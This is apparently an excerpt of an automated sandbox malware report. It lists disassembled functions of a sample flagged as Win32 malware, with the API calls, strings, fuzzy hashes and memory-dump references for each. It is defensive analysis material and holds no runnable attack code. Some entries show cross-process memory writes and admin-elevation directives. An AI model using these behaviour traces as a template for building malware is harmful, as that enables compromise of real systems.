                                      • Instruction ID: 478d68999cd5d9407002b10d938f171f2ecda34cfff4ed0b0f6422e4cc7898b2
                                      • Opcode Fuzzy Hash: 072a845cbc5991d821d842585d9d47b19a2ad8868ab931448b979a0689374bc8
                                      • Instruction Fuzzy Hash: BFF090B25A81958BC621BF1DBC01C483F6CFB19761700510AF124C6372C7344483BB96
                                      Function 008CAA4B Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                      Download Yara Rule
                                      APIs
                                      • EndPath.GDI32(?), ref: 008CAA5A
                                      • StrokeAndFillPath.GDI32(?,?,00907BB4,00000000,?,?,?), ref: 008CAA76
                                      • SelectObject.GDI32(?,00000000), ref: 008CAA89
                                      • DeleteObject.GDI32 ref: 008CAA9C
                                      • StrokePath.GDI32(?), ref: 008CAAB7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Path$ObjectStroke$DeleteFillSelect
                                      • String ID:
                                      • API String ID: 2625713937-0
                                      • Opcode ID: 3f89440af0f7b5a045e12851aecae494b4c748d8e594c8618d14598f93507798
                                      • Instruction ID: 129d47c5434fcee6cc0bc8138883116abc0eedd8f12190b97c30bce913b11e74
                                      • Opcode Fuzzy Hash: 3f89440af0f7b5a045e12851aecae494b4c748d8e594c8618d14598f93507798
                                      • Instruction Fuzzy Hash: 1FF0193402A208EFDB299F68FD18F643B78FB0136AF048218F465951F0C7368892EF21
                                      Function 009117B8 Relevance: 7.5, APIs: 5, Instructions: 23memorysynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • WaitForSingleObject.KERNEL32(?,000000FF), ref: 009117C3
                                      • CloseHandle.KERNEL32(?), ref: 009117D8
                                      • CloseHandle.KERNEL32(?), ref: 009117E0
                                      • GetProcessHeap.KERNEL32(00000000,?), ref: 009117E9
                                      • HeapFree.KERNEL32(00000000), ref: 009117F0
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: CloseHandleHeap$FreeObjectProcessSingleWait
                                      • String ID:
                                      • API String ID: 3751786701-0
                                      • Opcode ID: 3b0ccb5ed196f120efc1923d7f64c33ba9d29764c4ca9d6fa4f776f2d69b27a3
                                      • Instruction ID: 5ed8732a8e12ae3b200ae528eda1d33cdf8d923023020058160eba9cb07719cc
                                      • Opcode Fuzzy Hash: 3b0ccb5ed196f120efc1923d7f64c33ba9d29764c4ca9d6fa4f776f2d69b27a3
                                      • Instruction Fuzzy Hash: 41E0C2BA21E105BFDB411FA1EC0CD0ABF29FB4AB22B108220F22581070CB329420EB50
                                      Function 008E0ED7 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: __freea$_free
                                      • String ID: a/p$am/pm
                                      • API String ID: 3432400110-3206640213
                                      • Opcode ID: 43fad3219ea70d37e21c1964a5858bdab288c07fd9118329eb9c934f1c018c04
                                      • Instruction ID: 8ef24e9d9f08fb4640c255e50d74f7177037494d516c3b474343908f1dfd48a4
                                      • Opcode Fuzzy Hash: 43fad3219ea70d37e21c1964a5858bdab288c07fd9118329eb9c934f1c018c04
                                      • Instruction Fuzzy Hash: 6ED1F23190028ADADF249FAAC88DBBEB7B1FF07700F240159EA41DB680D3759D80CB91
                                      Function 0092902A Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 383COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B8FA0: _wcslen.LIBCMT ref: 008B8FA5
                                        • Part of subcall function 008B84E7: _wcslen.LIBCMT ref: 008B84FA
                                      • _wcslen.LIBCMT ref: 00929424
                                      • _wcslen.LIBCMT ref: 0092944B
                                      • 7523D1A0.COMDLG32(00000058), ref: 009294A3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$7523
                                      • String ID: X
                                      • API String ID: 1414850397-3081909835
                                      • Opcode ID: bfd719bd68eb199695f9a5020c4ef6deed743602606715a4c68b607620a7bdea
                                      • Instruction ID: ad0e558e7fb886d25de454b07253494b0a5fe61255a1962a6d93cf5d0d8c0354
                                      • Opcode Fuzzy Hash: bfd719bd68eb199695f9a5020c4ef6deed743602606715a4c68b607620a7bdea
                                      • Instruction Fuzzy Hash: 45E19E31508350DFD724EF28D891AAAB7E4FF85310F04856DE8899B3A6DB70ED05CB92
                                      Function 008B4DF1 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 262COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: 3$A$_
                                      • API String ID: 176396367-1956071190
                                      • Opcode ID: 2aee393b64f08cdedb5b8f1220692aca91c6f16f745073300e7b754c98152882
                                      • Instruction ID: 3afcaf3bb336ef2ea8598d8ce0a6d1c4f61d64ba595ad60139ae5ac0e041c639
                                      • Opcode Fuzzy Hash: 2aee393b64f08cdedb5b8f1220692aca91c6f16f745073300e7b754c98152882
                                      • Instruction Fuzzy Hash: 4F812430A046099ADF24AFA8C4827FDB7A1FF54724F24451AE991EB3D2DB74CE81C791
                                      Function 0091265A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0091B321: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00912114,?,?,00000034,00000800,?,00000034), ref: 0091B34B
                                      • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 009126A4
                                        • Part of subcall function 0091B2EC: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00912143,?,?,00000800,?,00001073,00000000,?,?), ref: 0091B316
                                        • Part of subcall function 0091B248: GetWindowThreadProcessId.USER32(?,?), ref: 0091B273
                                        • Part of subcall function 0091B248: OpenProcess.KERNEL32(00000438,00000000,?,?,?,009120D8,00000034,?,?,00001004,00000000,00000000), ref: 0091B283
                                        • Part of subcall function 0091B248: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,009120D8,00000034,?,?,00001004,00000000,00000000), ref: 0091B299
                                      • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00912711
                                      • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0091275E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                      • String ID: @
                                      • API String ID: 4150878124-2766056989
                                      • Opcode ID: d2b1e8a2c3c5d6c992be968359b596068ab43152f99a21693aa74ac6025df46b
                                      • Instruction ID: 4928cec8409ea444b6a10da7e15b57201b1e965190ebb662cec998eb460e0caa
                                      • Opcode Fuzzy Hash: d2b1e8a2c3c5d6c992be968359b596068ab43152f99a21693aa74ac6025df46b
                                      • Instruction Fuzzy Hash: 43415C76A0121CAFDB10DFA4CD81FEEBBB8EB49300F004095FA55B7180DA706E89CB60
                                      Function 008E16BE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe,00000104), ref: 008E16F9
                                      • _free.LIBCMT ref: 008E17C4
                                      • _free.LIBCMT ref: 008E17CE
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$FileModuleName
                                      • String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe
                                      • API String ID: 2506810119-3331364932
                                      • Opcode ID: ddf130673a0e576998570d6bc36cb606347e27321b271a48fccdb850b32d98ec
                                      • Instruction ID: 4a0350a7d1c8771f812bd85158bfbfcd0760e0a3f6b00dc6847cfb50d2bc6b10
                                      • Opcode Fuzzy Hash: ddf130673a0e576998570d6bc36cb606347e27321b271a48fccdb850b32d98ec
                                      • Instruction Fuzzy Hash: 95319F75A04288ABCF21DB9ADC89C9EBBFCFB86710F104166E814D7211D7708A41DB91
                                      Function 0091C19B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0091C224
                                      • DeleteMenu.USER32(?,00000007,00000000), ref: 0091C26A
                                      • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00981990,00BB2260), ref: 0091C2B3
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$Delete$InfoItem
                                      • String ID: 0
                                      • API String ID: 135850232-4108050209
                                      • Opcode ID: 51b9559b4f46fb09ae5574f33c66ac3c9b89112ae2fe93fc03c8a4bb27845785
                                      • Instruction ID: 98b595126be6d85ea8ea949b8cfe606e63aef5d383684a217bd6acbd28988fa4
                                      • Opcode Fuzzy Hash: 51b9559b4f46fb09ae5574f33c66ac3c9b89112ae2fe93fc03c8a4bb27845785
                                      • Instruction Fuzzy Hash: 3B41F2B02483059FD724DF64C841FAAB7E8EF85310F104A1DF866972D1C730E940CB56
                                      Function 0094434B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0094D0D0,00000000,?,?,?,?), ref: 009443DF
                                      • GetWindowLongW.USER32 ref: 009443FC
                                      • SetWindowLongW.USER32(?,000000F0,00000000), ref: 0094440C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$Long
                                      • String ID: SysTreeView32
                                      • API String ID: 847901565-1698111956
                                      • Opcode ID: 6e5ab6001b251f335e696cff5509bf31c7c170dc8b45dbb3f70c10d0ef17102a
                                      • Instruction ID: e00f809d62fe96790cab26f024364173648101e0ea7e4d9eb2a74236349de042
                                      • Opcode Fuzzy Hash: 6e5ab6001b251f335e696cff5509bf31c7c170dc8b45dbb3f70c10d0ef17102a
                                      • Instruction Fuzzy Hash: 31319A32214209AFDB208E78DC45FEA7BA9EB49328F204724F979D22E0D734EC549B50
                                      Function 00932F75 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00933282: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00932F9E,?,?), ref: 0093329F
                                      • inet_addr.WS2_32(?), ref: 00932FA1
                                      • _wcslen.LIBCMT ref: 00932FC2
                                      • htons.WS2_32(00000000), ref: 0093302D
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ByteCharMultiWide_wcslenhtonsinet_addr
                                      • String ID: 255.255.255.255
                                      • API String ID: 946324512-2422070025
                                      • Opcode ID: edcaf299791547e0e6474a3225edbe284250cc44d114cef7fcc41f85d70fd75b
                                      • Instruction ID: bff6ecfdabc92f486bd898da38e8737b4dbf4e5a6676fb2b1fb61209e8c32765
                                      • Opcode Fuzzy Hash: edcaf299791547e0e6474a3225edbe284250cc44d114cef7fcc41f85d70fd75b
                                      • Instruction Fuzzy Hash: E531C1396002019FC724CF68C485E6A7BE4EF15318F24C199E8168F3A2C775EE41CB61
                                      Function 00944588 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0094463A
                                      • SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00944648
                                      • DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0094464F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$DestroyWindow
                                      • String ID: msctls_updown32
                                      • API String ID: 4014797782-2298589950
                                      • Opcode ID: 48bb6af516af7470fa9da0d9aff326fddc51c316cd55aeb8c1f0b370329dd1e9
                                      • Instruction ID: 175a436094278753a72f5ee0db98196d7072009dbd3f443644c480691eab4225
                                      • Opcode Fuzzy Hash: 48bb6af516af7470fa9da0d9aff326fddc51c316cd55aeb8c1f0b370329dd1e9
                                      • Instruction Fuzzy Hash: A921AFB5604209AFEB20DF68DC95EB737ACEF4A3A4B010459FA009B351DB31EC01DBA0
                                      Function 009194CB Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                      • API String ID: 176396367-2734436370
                                      • Opcode ID: 88472637c33905cad60339177b1223dbdc7eb995d19b2c26f825bca98f2b0f3a
                                      • Instruction ID: 86552faea4067ec83be60085ce56f4bbe8ca9daf4ff213cc495b719bc0e0e991
                                      • Opcode Fuzzy Hash: 88472637c33905cad60339177b1223dbdc7eb995d19b2c26f825bca98f2b0f3a
                                      • Instruction Fuzzy Hash: 3B214931700125A6D232B7289C22FF773DEEF91310F444026F946D7181EB749982C3A6
                                      Function 009436EA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00943773
                                      • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00943783
                                      • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 009437A9
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$MoveWindow
                                      • String ID: Listbox
                                      • API String ID: 3315199576-2633736733
                                      • Opcode ID: 14c4b5b441b7e7c815b8ea44b9fe623f38b9327602368158365c51193989d69b
                                      • Instruction ID: c7858d3c73e647a09d8e548eefccac33092c3f92b7c5223a5333c9e234ef293e
                                      • Opcode Fuzzy Hash: 14c4b5b441b7e7c815b8ea44b9fe623f38b9327602368158365c51193989d69b
                                      • Instruction Fuzzy Hash: A821D4B2611118BFEF118F64DC85EBB3B6EEF89754F00C114FA849B290C671EC5187A0
                                      Function 00924912 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON
                                      Download Yara Rule
                                      APIs
                                      • SetErrorMode.KERNEL32(00000001), ref: 00924926
                                      • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0092497A
                                      • SetErrorMode.KERNEL32(00000000,?,?,0094D0D0), ref: 009249EE
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: ErrorMode$InformationVolume
                                      • String ID: %lu
                                      • API String ID: 2507767853-685833217
                                      • Opcode ID: 823eaeba0330ef0d8bc49dfed513ab686a142c28732cac0a99181563846721b2
                                      • Instruction ID: 8822602778979b4ecfc612c75a5085a10b4dfc6ab7906298c9b114aae980c908
                                      • Opcode Fuzzy Hash: 823eaeba0330ef0d8bc49dfed513ab686a142c28732cac0a99181563846721b2
                                      • Instruction Fuzzy Hash: C5317374A00109AFDB10DF58C885EAA7BF8EF08308F1480A9F909DB352DB71ED45CB61
                                      Function 00944120 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00944184
                                      • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00944199
                                      • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 009441A6
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
